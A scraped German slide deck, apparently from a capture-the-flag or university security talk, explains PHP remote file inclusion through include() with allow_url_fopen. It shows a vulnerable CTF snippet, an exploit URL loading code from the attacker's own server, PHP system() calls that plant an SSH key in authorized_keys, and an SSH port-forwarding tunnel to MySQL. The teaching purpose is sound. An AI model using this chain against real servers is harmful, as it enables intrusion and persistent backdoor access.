1 / 13

Code-Injection in PHP

Code-Injection in PHP. Realworld Beispiel: SSH-Public Key per Code-Injection einbauen. Grundlagen PHP. Methoden Code dynamisch zu laden Include() und require() sowie deren Pendants include_once() sowie require_once() eval()

Download Presentation

Code-Injection in PHP

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen

  2. Grundlagen PHP Methoden Code dynamisch zu laden • Include() und require() sowie deren Pendants include_once() sowie require_once() • eval() Hier konzentrieren wir uns aufinclude() und require(), da gebräuchlicher.

  3. include und require Grob: Mittels include und require kann eine Datei geladen werden vars.php <?php $color = 'green'; $fruit = 'apple'; ?> test.php <?php echo "A $color $fruit"; // A include 'vars.php'; echo "A $color $fruit"; // A green apple ?>

  4. Einfache Programmierung? PHP ermöglicht es den Programmierer, leicht Dateien über verschiedene Protokolle zu öffnen – Beispiel: <?php $file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w"); if (!$file) { echo "<p>Unable to open remote file for writing.\n"; exit; } /* Write the data here. */ fwrite ($file, "My Data" . "\n"); fclose ($file); ?>

  5. Teufelswerk allow_url_fopen • allow_url_fopen erlaubt das Öffnen von Dateien mittels einer URL. • Gilt nicht nur für File-Funktionen wie fopen, sondern auch für include(), require() usw. • Ist per Default angeschaltet!

  6. Code-Beispiel aus einem früheren CTF myfuncs.php <?php function myheader($title) { $menu = $_GET["menu"]; // [..] include($menu); // [..] } // [..] ?> test.php <?php include(„myfuncs.php“); // [..] myheader(„test“); // [..] ?> Mit dem HTTP-Parameter menu wird angegeben welches Menü geladen werden soll: http://server/test.php?menu=mainmenu.php

  7. Ausnutzung der Lücke Wenn allow_url_fopen an ist: http://server/test.php?menu=http://meinserver/badcode.php Und der Server führt unseren Code aus!

  8. Abschluß Code-InjectionFragen?

  9. Warum Einbau eines SSH-Public Keys • Public Key Authentifikation – unabhängig vom User-Passwort in /etc/shadow • SSH erlaubt Logins ohne Shell (z.B. nur Portforwarding) – normalerweise taucht eine Session auf:jtb@public:~$ who user1 pts/1 Apr 26 10:18 (pd1234567.dip0.t-ipconnect.de) jtb pts/5 Apr 26 11:33 (x337.vpn.hrz.tu-darmstadt.de)

  10. SSH-Verbindung ohne Shell Beispielaufruf von SSH: ssh -T -i private.key –L 3306:localhost:3306 user@server -T Disable pseudo-tty allocation. -i identity_fileSelects a file from which the identity (privatekey) for RSA orDSA authentication is read. -L port:host:hostportSpecifies that the given port on the local (client) host is to beforwarded to the given host and port on the remote side.

  11. Verbindungsdiagramm Direkte MySQL-Verbindungen nicht möglich Angriffsrechner Opfer MySQL SSH Aber direkte SSH-Verbindung ist möglich! Diese Verbindung kommt von localhost

  12. SSH Public Key • Erstellen mit ssh-keygen:ssh-keygen –t rsa • So sieht der private Schlüssel aus:-----BEGIN RSA PRIVATE KEY----- MII [..] -----END RSA PRIVATE KEY----- • Public Key wird hochgeladen, private Key bleibt bei euch! weibler@ultra18 ~/.ssh>cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgFZ4xz8EnOZ9x8TpMGV9kYBohRbG+QzW3UGfSV2AynOjUxlaABatDGnCskthsm60RWSkZns7m4Oy2Loyu0XXQzLXIebkfy7cYtrFmKrAKxF6zifDBxL7bsJ0XPujYzRJ7JSCyuQ+lrldY7NseI/PbfoIhwXYIa6RRrRcxWN6VXgdGIVq9xTjgaBVHRutOmttJVKtaiejJG0I9ZAjpTsGwyKkppzxXfDFgRfzxJozQSKLZOdKRVjoqxL1vc7p0GD0aOfSkWpQIGWyO6ziwy41CUFpAdE9uZB6F9abCxZkzWdz08w2K5ONlLgCyBVb/hlDgPS9PZaBjXe3qvMrm9R8J

  13. PHP-Code für den Einbau Beispielhaft mit system-Calls: <?php system(„mkdir ~/.ssh“); system(„echo ssh-rsa [KEY] > ~/.ssh/authorized_keys“); ?>

More Related